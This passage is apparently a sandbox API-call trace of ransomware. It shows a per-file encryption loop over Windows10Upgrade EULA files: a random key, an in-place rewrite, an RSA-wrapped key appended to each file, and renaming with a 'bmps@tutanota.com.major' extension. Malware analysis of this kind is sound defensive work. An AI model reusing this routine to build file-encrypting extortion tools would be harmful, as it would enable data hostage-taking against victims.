[0158.168] CloseHandle (hObject=0x6e8) returned 1 [0158.168] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0158.168] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0158.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0158.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8a0 | out: hHeap=0x570000) returned 1 [0158.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6543a8 | out: hHeap=0x570000) returned 1 [0158.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6542b8 | out: hHeap=0x570000) returned 1 [0158.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6542b8 [0158.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0158.170] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0158.170] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm", dwFileAttributes=0x80) returned 1 [0158.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6543a8 [0158.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0158.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6543a8 | out: hHeap=0x570000) returned 1 [0158.171] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0158.171] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=58549) returned 1 [0158.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe4b5) returned 0x6548b8 [0158.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe4b5) returned 0x2e60f28 [0158.171] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0xe4b5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xe4b5, lpOverlapped=0x0) returned 1 [0158.184] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-58549, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.184] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0xe4b5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe4b5, lpOverlapped=0x0) returned 1 [0158.184] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0158.184] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0158.184] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe4b5 [0158.184] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.184] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.184] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0158.184] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0158.185] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0158.185] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0158.185] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="BLFYD8dQ2Pv/oADwyV750l2ySNKXO1qqXvxrSu9NprmPZo3jv674C9d/dOPPVz2Q\n/Oe0QnLP4uUKQ/2oZfZdmsVeiKN37KSRD2EeDw0YzY2wcIR0D8HMLlEajjMo4wSu\nSh8n2ey7Vw0r6zzmauhInH12L745+O+jFzQpPvxlgAr2eG24QkS65uNg4nzwOf3h\nD7llVe+QBRm7Q2McbWW7OlCLv7QV7WcyeF121p/Zslu7L2t0oKwtyuLNvHowAVfK\n0DRS5jykSuO/AygC89YQeKLV9uZnbZN3AwvYnNlVaL2iVJFfdWhn4z3/C1XAUsQZ\nnBESlRBdT9ZkV33iXIu6Eg==\n", pcchString=0x2e3f9a8) returned 1 [0158.185] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0158.185] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.185] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.185] CloseHandle (hObject=0x6e8) returned 1 [0158.185] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0158.185] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0158.189] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0158.189] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0158.189] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6542b8 | out: hHeap=0x570000) returned 1 [0158.189] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0158.189] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0158.189] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc918 [0158.189] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0158.189] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm", dwFileAttributes=0x80) returned 1 [0158.190] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653d90 [0158.190] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0158.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653d90 | out: hHeap=0x570000) returned 1 [0158.190] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0158.190] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=58549) returned 1 [0158.190] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe4b5) returned 0x6548b8 [0158.190] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe4b5) returned 0x2e60f28 [0158.190] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0xe4b5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xe4b5, lpOverlapped=0x0) returned 1 [0158.199] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-58549, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.199] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0xe4b5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe4b5, lpOverlapped=0x0) returned 1 [0158.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0158.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0158.200] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe4b5 [0158.200] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.200] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.200] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0158.200] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0158.200] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0158.200] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0158.200] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="lo7BDApRTkPwbpl4QXmkeH/XQbPTuMUou1HocSo3kkNJjwEhoF2XyXj8JeIuATp8\nMyYZDTghIvdVv5E4yQ1Y9uTFmow/uW9iKpETVXwZScvgEk3NpF7e0MfEmQliwP4A\ncIwslLaeqVNUgWj1v7ZGI7JuH4KUc3vt13/QlKXTztm58g2t3kZzyCi/Gg9QKLe+\ngbE9V5eyNR3B52QuGe6DVDrMX9A0MqPZsgxE6bDo4K0m5uwFmGSEtRT7LaZ1n9Rl\n5r36PA88KOQ5qQyMo/KscLP+g/TWxgJ9bP0FGKCFMo8eLX4G5aq0kvnK5EEpELyD\npdaG9wxMhL8JjKbr+LqaDA==\n", pcchString=0x2e3f9a8) returned 1 [0158.200] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0158.200] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.200] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.200] CloseHandle (hObject=0x6e8) returned 1 [0158.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0158.200] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0158.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0158.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc918 | out: hHeap=0x570000) returned 1 [0158.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0158.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0158.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0158.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0158.202] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0158.202] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm", dwFileAttributes=0x80) returned 1 [0158.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0158.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0158.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0158.203] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0158.203] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=239446) returned 1 [0158.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3a756) returned 0x2e60f28 [0158.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3a756) returned 0x2e9b688 [0158.203] ReadFile (in: hFile=0x6e8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x3a756, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x3a756, lpOverlapped=0x0) returned 1 [0158.264] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-239446, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.264] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e9b688*, nNumberOfBytesToWrite=0x3a756, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e9b688*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3a756, lpOverlapped=0x0) returned 1 [0158.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0158.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e9b688 | out: hHeap=0x570000) returned 1 [0158.266] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3a756 [0158.266] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.266] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.267] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0158.267] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0158.268] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0158.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0158.268] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="UoWSFzLVD+6rdD+ZGmwruriGrBCEVoEtEry/amdHEro5ts0FpwfWI/CQp4PtGoH0\n68Uowwh6CT71Mq5XYc7/6iHQtlKH1J1wFBvTkbIu6QiDAwYffkSqZI6qjLYxrMlK\nILudvAxF8jr+T496ppWM0xuqzh8+Ip3NaWEjxp8VMzkIGWYXf5jpCKfkknlaKPAO\nbP4lDLaEhJwN9XkFjVfi3YwRJOLHvK051TsMR0TyY+KD3tV/77mv8tBjOZP9Uoaw\nRpV3ujAl6aU8P0e/aY44Iu4lVYjCwxWSKxKWI7qTfDkILusKG/wcCX6TrQnyvtgt\nE/JqgA4BR3ZeCnQxmTjImg==\n", pcchString=0x2e3f9a8) returned 1 [0158.268] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0158.268] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.268] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.268] CloseHandle (hObject=0x6e8) returned 1 [0158.268] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0158.268] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0158.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0158.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0158.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0158.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0158.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0158.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0158.270] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0158.270] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm", dwFileAttributes=0x80) returned 1 [0158.271] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0158.271] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0158.271] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0158.271] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0158.271] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=70461) returned 1 [0158.271] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1133d) returned 0x6548b8 [0158.271] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1133d) returned 0x2e60f28 [0158.272] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x1133d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1133d, lpOverlapped=0x0) returned 1 [0158.292] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-70461, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.293] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x1133d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1133d, lpOverlapped=0x0) returned 1 [0158.293] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0158.293] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0158.293] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1133d [0158.293] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.293] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.293] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0158.293] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0158.293] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0158.293] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0158.294] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="zWCfW1RsUdz+bPEx+sCv0eSncEdHFywvnHh2iELMqOirr6uxGLCqpTkSwGbSuD7R\nwZCZRJEQo4Evux/wzpplXprjV5w0w/V4+s1GVn4sScMunVjBE+31A/Onv5SdcyDd\nsTDXut1dXMJdlHmnTJBwN1opwlNqpv58XOPUNQtmt4Molq0udGuw3m/XMBLT+B8S\n1eKNnv6V7kmAQr4Qsw6qlMe7W73/zLuzIA79cX5pRSBJKoS4yOR1gkMbPi8mr8p5\nkbjnA6Ts7OQDKo1Cql+rGbX7FzhiSlZT7ZjPydvFq9qyLP8bjHagCIENRanN/YNi\nd7Bje0R5cFReBc5ao/2ppA==\n", pcchString=0x2e3f9a8) returned 1 [0158.294] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0158.294] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.294] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.294] CloseHandle (hObject=0x6e8) returned 1 [0158.294] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0158.294] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0158.295] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0158.295] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0158.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0158.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0158.296] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0158.296] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0158.296] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0158.296] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm", dwFileAttributes=0x80) returned 1 [0158.296] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, 